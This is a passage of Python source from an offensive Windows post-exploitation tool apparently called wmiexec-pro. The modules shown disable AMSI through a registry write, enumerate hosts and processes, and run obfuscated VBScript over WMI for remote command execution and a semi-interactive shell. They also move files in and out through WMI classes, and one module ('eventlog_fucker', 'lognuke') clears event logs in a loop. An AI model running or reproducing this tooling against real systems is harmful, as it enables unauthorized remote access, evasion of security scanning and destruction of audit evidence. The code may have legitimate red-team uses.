7 | def __init__(self, iWbemLevel1Login):
8 | self.iWbemLevel1Login = iWbemLevel1Login
9 | self.logger = logging.getLogger("wmiexec-pro")
10 |
11 | def amsi_Wrapper(self, flag):
12 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
13 | self.iWbemLevel1Login.RemRelease()
14 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
15 | if flag == "enable":
16 | self.logger.info("Enabling AMSI bypass.")
17 | StdRegProv.SetDWORDValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable", 0)
18 | elif flag == "disable":
19 | self.logger.info("Disabling AMSI bypass.")
20 | StdRegProv.DeleteValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable")
21 | out = StdRegProv.GetDWORDValue(2147483649, "Software\\Microsoft\\Windows Script\\Settings", "AmsiEnable")
22 | if out.uValue == 0:
23 | self.logger.log(100, "AMSI Bypassed!")
24 | elif not out.uValue:
25 | self.logger.log(100, "Remove AMSI bypass.")
--------------------------------------------------------------------------------
/lib/modules/enumrate.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from impacket.dcerpc.v5.dtypes import NULL
4 |
5 |
6 | class ENUM():
7 | def __init__(self, iWbemLevel1Login):
8 | self.iWbemLevel1Login = iWbemLevel1Login
9 | self.logger = logging.getLogger("wmiexec-pro")
10 |
11 | def basic_Enum(self):
12 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
13 | self.iWbemLevel1Login.RemRelease()
14 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * from Win32_ComputerSystem")
15 | ComputerSystem = iEnumWbemClassObject.Next(0xffffffff,1)[0]
16 | ComputerSystem = dict(ComputerSystem.getProperties())
17 |
18 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * from Win32_OperatingSystem")
19 | OperatingSystem = iEnumWbemClassObject.Next(0xffffffff,1)[0]
20 | OperatingSystem = dict(OperatingSystem.getProperties())
21 | major_Version = int(OperatingSystem["Version"]["value"].split(".")[0])
22 |
23 | self.logger.log(100, "[+] Hostanme: {}\n[+] Domain: {}\n[+] Manufacturer: {}\n[+] Model: {}\n[+] Architecture: {}\n[+] OS Name: {}\n[+] System version: {}\n[*] Target NT Version is {}".format(
24 | ComputerSystem["DNSHostName"]["value"],
25 | ComputerSystem["Domain"]["value"],
26 | ComputerSystem["Manufacturer"]["value"],
27 | ComputerSystem["Model"]["value"],
28 | ComputerSystem["SystemType"]["value"],
29 | OperatingSystem["Caption"]["value"],
30 | OperatingSystem["Version"]["value"],
31 | 'is under 6, please execute command or enable RDP with "-old" option.' if major_Version < 6 else "higher than 6."
32 | ))
33 |
34 | def tasklist(self):
35 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
36 | self.iWbemLevel1Login.RemRelease()
37 | iEnumWbemClassObject = iWbemServices.ExecQuery("Select Name, CommandLine, Description, ExecutablePath, ProcessId, ParentProcessId, SessionId from Win32_Process")
38 | full_Results = {}
39 | self.logger.info("Retrieving process list")
40 | while True:
41 | try:
42 | tmp_dict = {}
43 | query = iEnumWbemClassObject.Next(0xffffffff,1)[0]
44 | record = dict(query.getProperties())
45 | tmp_dict["Name"] = record["Name"]["value"]
46 | tmp_dict["CommandLine"] = record["CommandLine"]["value"]
47 | tmp_dict["Description"] = record["Description"]["value"]
48 | tmp_dict["ExecutablePath"] = record["ExecutablePath"]["value"]
49 | tmp_dict["ProcessId"] = record["ProcessId"]["value"]
50 | tmp_dict["ParentProcessId"] = record["ParentProcessId"]["value"]
51 | tmp_dict["SessionId"] = record["SessionId"]["value"]
52 | full_Results[tmp_dict["Name"]] = tmp_dict
53 | except Exception as e:
54 | if str(e).find("S_FALSE") < 0:
55 | pass
56 | else:
57 | break
58 | iEnumWbemClassObject.RemRelease()
59 |
60 | for name, process in sorted(full_Results.items()):
61 | self.logger.info(f"Process Name: {process['Name'] or 'N/A'}")
62 | self.logger.info(f"Process ID: {process['ProcessId'] or 'N/A'}")
63 | self.logger.info(f"Parent Process ID: {process['ParentProcessId'] or 'N/A'}")
64 | self.logger.info(f"Session ID: {process['SessionId'] or 'N/A'}")
65 | self.logger.info(f"Description: {process['Description'] or 'N/A'}")
66 | self.logger.info(f"Executable Path: {process['ExecutablePath'] or 'N/A'}")
67 | self.logger.info(f"Command Line: {process['CommandLine'] or 'N/A'}")
68 | self.logger.info("-" * 100)
69 | self.logger.info(f"Total Processes: {len(full_Results)}")
--------------------------------------------------------------------------------
/lib/modules/eventlog_fucker.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from lib.methods.executeVBS import executeVBS_Toolkit
4 | from lib.helpers import get_vbs_path
5 |
6 |
7 | class eventlog_Toolkit():
8 | def __init__(self, iWbemLevel1Login):
9 | self.iWbemLevel1Login = iWbemLevel1Login
10 | self.logger = logging.getLogger("wmiexec-pro")
11 |
12 | def fuck_EventLog(self):
13 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
14 | tag = executer.ExecuteVBS(vbs_file="lib/vbscripts/ClearEventlog.vbs", returnTag=True)
15 | self.logger.warning(f"Keepping note of this tag if you want to stop it: {tag}")
16 |
17 | def retrieve_EventLog(self, tag):
18 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
19 | executer.remove_Event(tag)
20 | self.logger.info("Stop fucking eventlog :)")
--------------------------------------------------------------------------------
/lib/modules/exec_command.py:
--------------------------------------------------------------------------------
1 | import uuid
2 | import time
3 | import base64
4 | import os
5 | import sys
6 | import datetime
7 | import cmd
8 | import re
9 | import logging
10 |
11 | from lib.modules.filetransfer import filetransfer_Toolkit
12 | from lib.methods.classMethodEx import class_MethodEx
13 | from lib.methods.executeVBS import executeVBS_Toolkit
14 | from lib.methods.Obfuscator import VBSObfuscator
15 | from impacket.dcerpc.v5.dtypes import NULL
16 | from lib.helpers import get_vbs_path
17 |
18 |
19 | class EXEC_COMMAND():
20 | def __init__(self, iWbemLevel1Login, codec):
21 | self.iWbemLevel1Login = iWbemLevel1Login
22 | self.codec = codec
23 | self.timeout = 5
24 | self.obfu = VBSObfuscator()
25 | self.logger = logging.getLogger("wmiexec-pro")
26 | self.logger_countdown = logging.getLogger("CountdownLogger")
27 |
28 | def save_ToFile(self, hostname, content):
29 | path = os.path.join("save", hostname)
30 | save_FileName = f"{str(int(time.time()))}.txt"
31 |
32 | if not os.path.exists(path):
33 | os.makedirs(path, exist_ok=True)
34 |
35 | result = os.path.join(path, save_FileName)
36 | with open(result, "w") as f:
37 | f.write(content)
38 |
39 | self.logger.log(100, f"Save command result to {result}")
40 |
41 | # For system under NT6, like windows server 2003
42 | # Timer for countdown Win32_ScheduledJob, scheduled task in "Win32_ScheduledJob" only will be trigger every per minute.
43 | def timer_For_UnderNT6(self, iWbemServices=None, return_iWbemServices=False):
44 | if not iWbemServices:
45 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
46 | self.iWbemLevel1Login.RemRelease()
47 |
48 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_LocalTime")
49 | LocalTime = iEnumWbemClassObject.Next(0xffffffff,1)[0]
50 | LocalTime = dict(LocalTime.getProperties())
51 |
52 | # Get remaining seconds until the next minute.
53 | for i in range((65 - int(LocalTime["Second"]["value"])),0,-1):
54 | self.logger_countdown.info(f"Waiting {i}s for command execution.\r")
55 | time.sleep(1)
56 |
57 | self.logger.log(100, "Command executed!")
58 |
59 | # Return cimv2
60 | if return_iWbemServices:
61 | return iWbemServices
62 |
63 | # For system under NT6, like windows server 2003
64 | def exec_command_silent_For_UnderNT6(self, command=None):
65 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
66 | self.iWbemLevel1Login.RemRelease()
67 |
68 | wql1 = "SELECT * FROM Win32_LocalTime"
69 | wql2 = "SELECT * FROM Win32_TimeZone"
70 |
71 | iEnumWbemClassObject = iWbemServices.ExecQuery(wql1)
72 | Win32_LocalTime = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
73 |
74 | Machine_Date = datetime.datetime(100, 1, 1, int(Win32_LocalTime.Hour), int(Win32_LocalTime.Minute), 00)
75 | execute_time = (Machine_Date + datetime.timedelta(0, 60)).time() # Delay one miniute for command execution
76 |
77 | iEnumWbemClassObject = iWbemServices.ExecQuery(wql2)
78 | Win32_TimeZone = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
79 |
80 | executeTime = "********{}.000000+{}".format(
81 | str(execute_time).replace(":", ""),
82 | str(Win32_TimeZone.Bias)
83 | )
84 | command = f"C:\\Windows\\System32\\cmd.exe /Q /c {command}"
85 | Win32_ScheduledJob, resp = iWbemServices.GetObject("Win32_ScheduledJob")
86 | result = Win32_ScheduledJob.Create(command, executeTime, 0, 0, 0, 1)
87 | if int(result.ReturnValue) == 0:
88 | self.logger.log(100, "Create schedule job for command execution successfully.")
89 | else:
90 | self.logger.error(f"Create schedule job for command execution error, code: {result.ReturnValue!s}")
91 |
92 | self.timer_For_UnderNT6(iWbemServices)
93 |
94 | def exec_command_silent(self, command, old=False):
95 | if "'" in command:
96 | command = command.replace("'", '"')
97 |
98 | if old:
99 | # Windows will auto remove job after schedule job executed.
100 | self.exec_command_silent_For_UnderNT6(command)
101 | else:
102 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
103 | random_TaskName = str(uuid.uuid4())
104 |
105 | self.logger.info("Executing command...(Sometime it will take a long time, please wait)")
106 |
107 | with open(get_vbs_path("Exec-Command-Silent.vbs")) as f:
108 | vbs = f.read()
109 |
110 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_TASK", random_TaskName)
111 |
112 | # Experimental: use timer instead of filter query
113 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True)
114 | #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
115 | #tag = executer.ExecuteVBS(vbs_content=vbs, filer_Query=filer_Query, returnTag=True)
116 |
117 | # Wait 5 seconds for next step.
118 | for i in range(self.timeout,0,-1):
119 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
120 | time.sleep(1)
121 |
122 | executer.remove_Event(tag)
123 |
124 | def exec_command_WithOutput(self, command, ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False):
125 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
126 | if not ClassName_StoreOutput:
127 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
128 |
129 | FileName = f"windows-object-{uuid.uuid4()!s}.log"
130 | CMD_instanceID = str(uuid.uuid4())
131 | random_TaskName = str(uuid.uuid4())
132 |
133 | if "'" in command:
134 | command = command.replace("'", '"')
135 |
136 | # Reuse cimv2 namespace to avoid dcom limition
137 | class_Method = class_MethodEx(self.iWbemLevel1Login)
138 | iWbemServices_Reuse_cimv2, _ = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True)
139 |
140 | self.logger.info("Executing command...(Sometime it will take a long time, please wait)")
141 |
142 | if old:
143 | # Experimental: use timer instead of filter query
144 | with open(get_vbs_path("Exec-Command-WithOutput-UnderNT6.vbs")) as f:
145 | vbs = f.read()
146 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID)
147 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True)
148 |
149 | # Reuse cimv2
150 | iWbemServices_Reuse_cimv2 = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse_cimv2, return_iWbemServices=True)
151 | else:
152 | # Experimental: use timer instead of filter query
153 | with open(get_vbs_path("Exec-Command-WithOutput.vbs")) as f:
154 | vbs = f.read()
155 | vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName)
156 | tag = executer.ExecuteVBS(vbs_content=self.obfu.generator(vbs), returnTag=True)
157 | #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
158 | #tag = executer.ExecuteVBS(vbs_content=vbs, filer_Query=filer_Query, returnTag=True)
159 |
160 | # Wait 5 seconds for next step.
161 | for i in range(self.timeout,0,-1):
162 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
163 | time.sleep(1)
164 |
165 | executer.remove_Event(tag)
166 |
167 | try:
168 | command_ResultObject, resp = iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID))
169 | except Exception as e:
170 | if "WBEM_E_INVALID_CLASS" in str(e):
171 | self.logger.error(f"Class {ClassName_StoreOutput} didn't existed!")
172 | elif "WBEM_E_NOT_FOUND" in str(e):
173 | self.logger.error("Get command results failed, probably you may need to increase interval time.")
174 | else:
175 | self.logger.error(f"Unexpected error: {e!s}")
176 | else:
177 | self.logger.info("Retrieving command results...")
178 | record = dict(command_ResultObject.getProperties())
179 | result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace")
180 | self.logger.log(100, result)
181 |
182 | if save_Result and hostname:
183 | self.save_ToFile(hostname, result)
184 |
185 | def clear(self, ClassName_StoreOutput=None):
186 | # Can't remote delete file via CIM_DataFile class, not thing happened after invoke Delete method of instance.
187 | if not ClassName_StoreOutput:
188 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
189 |
190 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
191 | class_Method = class_MethodEx(self.iWbemLevel1Login)
192 |
193 | self.logger.info("Cleanning temporary files and class.")
194 |
195 | with open(get_vbs_path("RemoveTempFile.vbs")) as f:
196 | vbs = f.read()
197 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True)
198 |
199 | # Wait 5 seconds for next step.
200 | for i in range(self.timeout,0,-1):
201 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
202 | time.sleep(1)
203 |
204 | executer.remove_Event(tag)
205 |
206 | class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False)
207 |
208 | class EXEC_COMMAND_SHELL(cmd.Cmd):
209 | def __init__(self, iWbemLevel1Login, dcom, codec, addr):
210 | cmd.Cmd.__init__(self)
211 | self.iWbemLevel1Login = iWbemLevel1Login
212 | self.dcom = dcom
213 | self.codec = codec
214 | self.hostname = addr
215 | self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
216 | self.save_Path = os.path.join("save", self.hostname)
217 | self.save_fileName = f"{int(time.time())!s}.txt"
218 | self.logging = False
219 | self.interval = 5
220 | self.cwd = "C:\\Windows\\System32"
221 | self.prompt = f"{self.cwd}>"
222 | self.intro = "[!] Launching semi-interactive shell - Careful what you execute"
223 | self.history = []
224 |
225 | self.executer = executeVBS_Toolkit(self.iWbemLevel1Login)
226 | self.fileTransfer = filetransfer_Toolkit(self.iWbemLevel1Login, self.dcom)
227 | self.obfu = VBSObfuscator()
228 |
229 | self.logger = logging.getLogger("wmiexec-pro")
230 | self.logger_countdown = logging.getLogger("CountdownLogger")
231 |
232 | # Reuse cimv2 namespace to avoid dcom limition
233 | class_Method = class_MethodEx(self.iWbemLevel1Login)
234 | self.iWbemServices_Reuse_cimv2, self.iWbemServices_Reuse_subscription = class_Method.check_ClassStatus(self.ClassName_StoreOutput, return_iWbemServices=True)
235 |
236 | def do_help(self, line):
237 | print("""
238 | sleep {seconds} - set interval time in command execution (default is 5 seconds).
239 | lognuke - enable looping cleaning eventlog.
240 | upload {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
241 | download {src_file} - downloads pathname to the current local dir
242 | logging - log everythings.
243 | codec {code} - set encoding code
244 | history - show history commands
245 | clear - clean the screen
246 | exit - exit.
247 | """)
248 |
249 | def do_upload(self, params):
250 | import ntpath
251 |
252 | params = params.split(" ")
253 | if len(params) > 1:
254 | src_file = params[0]
255 | dst_path = params[1]
256 | elif len(params) == 1:
257 | src_file = params[0]
258 | dst_path = self.cwd
259 |
260 | filename = src_file.replace("\\", "/").split("/")[-1]
261 | dst_file = ntpath.join(ntpath.join(self.cwd, dst_path), filename)
262 |
263 | self.fileTransfer.uploadFile(src_File=src_file, dest_File=dst_file, iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2)
264 |
265 | def do_download(self, src_file):
266 | import ntpath
267 |
268 | newPath = ntpath.normpath(ntpath.join(self.cwd, src_file))
269 | drive, tail = ntpath.splitdrive(newPath)
270 | filename = ntpath.basename(tail)
271 |
272 | self.fileTransfer.downloadFile(target_File=newPath, save_Location=os.path.join(".", filename), iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2)
273 |
274 | def do_sleep(self, seconds):
275 | self.interval = int(seconds)
276 | self.logger.info(f"Set interval time to: {self.interval!s}")
277 |
278 | def do_lognuke(self, line):
279 | self.executer.ExecuteVBS(vbs_file="lib/vbscripts/ClearEventlog.vbs", iWbemServices=self.iWbemServices_Reuse_subscription)
280 | self.logger.log(100, "Nuke is landed and log cleaning will never stop before use '-deep-clean' in 'execute-vbs' module")
281 |
282 | def do_logging(self, line):
283 | self.logger.info(f"Start logging and save the result to: {os.path.join(self.save_Path, self.save_fileName)}")
284 | self.logging = True
285 |
286 | def do_codec(self, line):
287 | if all([line]):
288 | self.codec = line
289 | self.logger.log(100, f"Set encoding code to: {self.codec}")
290 | else:
291 | self.logger.info(f"Current encoding code: {self.codec}")
292 |
293 | def do_history(self, line):
294 | for i in range(0, len(self.history)):
295 | print(f" {i+1!s} {self.history[i]}")
296 |
297 | def do_clear(self, line):
298 | os.system("clear")
299 |
300 | def emptyline(self):
301 | return False
302 |
303 | def do_exit(self, line):
304 | self.dcom.disconnect()
305 | sys.exit(1)
306 |
307 | def interval_Timer(self, seconds):
308 | for i in range(seconds,0,-1):
309 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
310 | time.sleep(1)
311 | self.logger.log(100, "Results:\n")
312 |
313 | def save_ToFile(self, content):
314 | if not os.path.exists(self.save_Path):
315 | os.makedirs(self.save_Path, exist_ok=True)
316 |
317 | with open(os.path.join(self.save_Path, self.save_fileName), "a+") as f:
318 | f.write(content)
319 |
320 | def process_Result(self, result, command):
321 | tmp_list = re.split("\\[COMMAND\\]|\\[PATH\\]", result)
322 | self.cwd = tmp_list[2].strip("\r\n").lstrip()
323 | cmd_Result = tmp_list[1].strip("\r\n").lstrip()
324 | self.prompt = f"{self.cwd}>"
325 | print(f"{cmd_Result}\n")
326 |
327 | if self.logging:
328 | content = f"{self.prompt} {command}\r\n\r\n{cmd_Result}\r\n\r\n"
329 | self.save_ToFile(content)
330 |
331 | def default(self, line):
332 | # history
333 | self.history.append(line)
334 |
335 | FileName = f"windows-object-{uuid.uuid4()!s}.log"
336 | CMD_instanceID = str(uuid.uuid4())
337 | random_TaskName = str(uuid.uuid4())
338 |
339 | command = line
340 | if "'" in command:
341 | command = command.replace("'", '"')
342 |
343 | with open(get_vbs_path("Exec-Command-WithOutput-Shell.vbs")) as f:
344 | vbs = f.read()
345 | vbs = vbs.replace("REPLACE_WITH_CWD", base64.b64encode(self.cwd.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", self.ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName)
346 | # Reuse subscription namespace to avoid dcom limition
347 |
348 | vbs = self.obfu.generator(vbs)
349 | if not self.iWbemServices_Reuse_subscription:
350 | tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, return_iWbemServices=True)
351 | else:
352 | tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription ,return_iWbemServices=True)
353 |
354 | # Wait 5 seconds for next step.
355 | self.interval_Timer(self.interval)
356 |
357 | self.executer.remove_Event(tag, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription)
358 |
359 | try:
360 | command_ResultObject, resp = self.iWbemServices_Reuse_cimv2.GetObject(f'{self.ClassName_StoreOutput}.CreationClassName="{CMD_instanceID}"')
361 | record = dict(command_ResultObject.getProperties())
362 | except Exception as e:
363 | if "WBEM_E_NOT_FOUND" in str(e):
364 | self.logger.error("Get command results failed, probably you may need to increase interval time.")
365 | else:
366 | self.logger.error(f"Unknown error: {e!s}")
367 | else:
368 | result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace")
369 | self.process_Result(result, line)
370 |
--------------------------------------------------------------------------------
/lib/modules/filetransfer.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import base64
3 | import time
4 | import sys
5 | import uuid
6 |
7 | from lib.methods.classMethodEx import class_MethodEx
8 | from lib.methods.executeVBS import executeVBS_Toolkit
9 | from impacket.dcerpc.v5.dtypes import NULL
10 | from lib.helpers import get_vbs_path
11 |
12 |
13 | class filetransfer_Toolkit():
14 | def __init__(self, iWbemLevel1Login, dcom):
15 | self.iWbemLevel1Login = iWbemLevel1Login
16 | self.dcom = dcom
17 | self.timeout = 5 # default timeout
18 |
19 | self.logger = logging.getLogger("wmiexec-pro")
20 | self.logger_countdown = logging.getLogger("CountdownLogger")
21 |
22 | def queryfile_Status(self, file, iWbemServices=None, return_iWbemServices=False):
23 | if not iWbemServices:
24 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
25 | self.iWbemLevel1Login.RemRelease()
26 | try:
27 | self.logger.info(f"Checking target file {file} info")
28 | # WQL from ghostpack/sharpwmi
29 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * from CIM_DataFile WHERE Name = "{file}"')
30 | file_Class = iEnumWbemClassObject.Next(0xffffffff,1)[0]
31 | except Exception as e:
32 | if "WBEM_S_FALSE" in str(e):
33 | self.logger.error(f"File {file} not existed!")
34 | else:
35 | self.logger.error(f"Unexpected error when checking file: {file}, error: {e!s}")
36 | self.dcom.disconnect()
37 | sys.exit(0)
38 | else:
39 | file_Status = dict(file_Class.getProperties())
40 | self.logger.log(100, "File status: {}, File size: {} KB, File location: {}".format(
41 | file_Status["Status"]["value"],
42 | file_Status["FileSize"]["value"]/1024,
43 | file_Status["Caption"]["value"]
44 | )
45 | )
46 |
47 | # Return cimv2
48 | if return_iWbemServices:
49 | return iWbemServices
50 |
51 | # For upload file, we don't need to create class, we can make binary included in vbs script(file dropper).
52 | # After vbs interval job created, then release your file.
53 | def uploadFile(self, src_File, dest_File, iWbemServices_Subscription=None, iWbemServices_Cimv2=None):
54 | with open(src_File, "rb") as f:
55 | binary = f.read()
56 | binary_EncodeData = base64.b64encode(binary).decode("ascii")
57 |
58 | with open(get_vbs_path("WriteFile.vbs")) as f:
59 | vbs = f.read()
60 | vbs = vbs.replace("REPLACE_WITH_DEST", base64.b64encode(dest_File.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_DATA", binary_EncodeData)
61 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
62 |
63 | self.logger.info("File uploading (will take a long time if you try to upload large size file)")
64 |
65 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription)
66 |
67 | # Wait 5 seconds for windows decode file.
68 | for i in range(self.timeout, 0, -1):
69 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
70 | time.sleep(1)
71 |
72 | # Check dest file status, Cimv2
73 | self.queryfile_Status(dest_File.replace("\\", "\\\\"), iWbemServices=iWbemServices_Cimv2)
74 |
75 | # Clean up
76 | self.logger.info("Stop vbs interval execution after created class")
77 | executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription)
78 |
79 | # For download file, we can write file data into wmi class
80 | def downloadFile(self, target_File, save_Location=None, ClassName_ForDownload=None, iWbemServices_Subscription=None, iWbemServices_Cimv2=None):
81 | class_Method = class_MethodEx(self.iWbemLevel1Login)
82 | # Default class name for download file
83 | if not ClassName_ForDownload:
84 | ClassName_ForDownload = "Win32_OSRecoveryConfigurationDataStorage"
85 |
86 | # Check target file status.
87 | # Reuse cimv2 iWbemServices object to avoid DCOM iWbemServices
88 | iWbemServices_Reuse = self.queryfile_Status(target_File.replace("\\", "\\\\"), return_iWbemServices=True, iWbemServices=iWbemServices_Cimv2)
89 |
90 | # Reuse cimv2 namespace
91 | self.logger.info("Create evil class for file transfer")
92 | class_Method.check_ClassStatus(ClassName=ClassName_ForDownload, iWbemServices_Cimv2=iWbemServices_Reuse, iWbemServices_Subscription=iWbemServices_Subscription)
93 |
94 | # Load target file into class
95 | self.logger.info("Converting file to base64 string and load it into wmi class.")
96 | Data_InstanceID = str(uuid.uuid4())
97 | with open(get_vbs_path("LocalFileIntoClass.vbs")) as f:
98 | vbs = f.read()
99 | vbs = vbs.replace("REPLACE_WITH_TARGET_FILE", base64.b64encode(target_File.encode("utf-8")).decode("utf-8")).replace("RELEACE_WITH_UUID", Data_InstanceID).replace("REPLACE_WITH_CLASSNAME", ClassName_ForDownload)
100 | executer = executeVBS_Toolkit(self.iWbemLevel1Login)
101 | tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription)
102 |
103 | # Wait 5 seconds for next step.
104 | for i in range(self.timeout, 0, -1):
105 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
106 | time.sleep(1)
107 |
108 | # Read encode data from wmi class
109 | self.logger.info("File downloading...")
110 | Data_Instance, resp = iWbemServices_Reuse.GetObject(f'{ClassName_ForDownload}.CreationClassName="{Data_InstanceID}"')
111 | record = dict(Data_Instance.getProperties())
112 | with open(save_Location, "wb") as f:
113 | f.write(base64.b64decode(record["DebugOptions"]["value"]))
114 |
115 | self.logger.log(100, f"File downloaded and save to: {save_Location}")
116 |
117 | self.logger.info("Stop vbs interval execution after file downloaded")
118 | executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription)
119 |
120 | def clear(self, ClassName_StoreOutput=None):
121 | if not ClassName_StoreOutput:
122 | ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataStorage"
123 |
124 | class_Method = class_MethodEx(self.iWbemLevel1Login)
125 | class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False)
--------------------------------------------------------------------------------
/lib/modules/firewall.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import json
3 | import sys
4 |
5 | from io import StringIO
6 | from impacket.dcerpc.v5.dtypes import NULL
7 |
8 | from lib.checkError import checkError
9 |
10 |
11 | class Firewall_Toolkit:
12 | def __init__(self, iWbemLevel1Login):
13 | self.iWbemLevel1Login = iWbemLevel1Login
14 | self.logger = logging.getLogger("wmiexec-pro")
15 |
16 | def port_Searcher(self, port, returnID = False):
17 | self.logger.info(f"Searching rule include the specified port: {port}")
18 | id_List = []
19 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL)
20 | self.iWbemLevel1Login.RemRelease()
21 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT InstanceID, LocalPort, Protocol, RemotePort FROM MSFT_NetProtocolPortFilter")
22 | while True:
23 | try:
24 | firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
25 | record = dict(firewall_PortClass.getProperties())
26 | for i in record["LocalPort"]["value"]:
27 | if str(port) == i and record["InstanceID"]["value"]:
28 | result = self.instanceID_Searcher(record["InstanceID"]["value"], iWbemServices)
29 | if not returnID:
30 | result = "[+] Rule id: {}, DisplayName: {}, Direction: {}, Port: {}, Action: {}, Status: {}".format(
31 | record["InstanceID"]["value"],
32 | result["DisplayName"],
33 | result["Direction"],
34 | record["LocalPort"]["value"],
35 | result["Action"],
36 | result["Status"]
37 | )
38 | self.logger.log(100, result)
39 | if returnID:
40 | id_List.append(record["InstanceID"]["value"])
41 | except Exception as e:
42 | if str(e).find("S_FALSE") < 0:
43 | pass
44 | else:
45 | break
46 | iEnumWbemClassObject.RemRelease()
47 | if returnID:
48 | return id_List
49 |
50 | def instanceID_Searcher(self, ID, iWbemServices=None):
51 | # If user do NTLMLogin operate to many time, then will cause RPC_E_DISCONNECTED exception(DCOM connection rate limit)
52 | # So, we can keep using iWbemServices object from port_Searcher when doing enumeration, and do newlogin when doing invoke this function.
53 | if not iWbemServices:
54 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL)
55 | self.iWbemLevel1Login.RemRelease()
56 | tmp_dict = {}
57 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT DisplayName, InstanceID, Direction, Action, Enabled FROM MSFT_NetFirewallRule where InstanceID = "{ID}"')
58 | firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
59 | record = dict(firewall_RuleClass.getProperties())
60 | tmp_dict["DisplayName"] = record["DisplayName"]["value"]
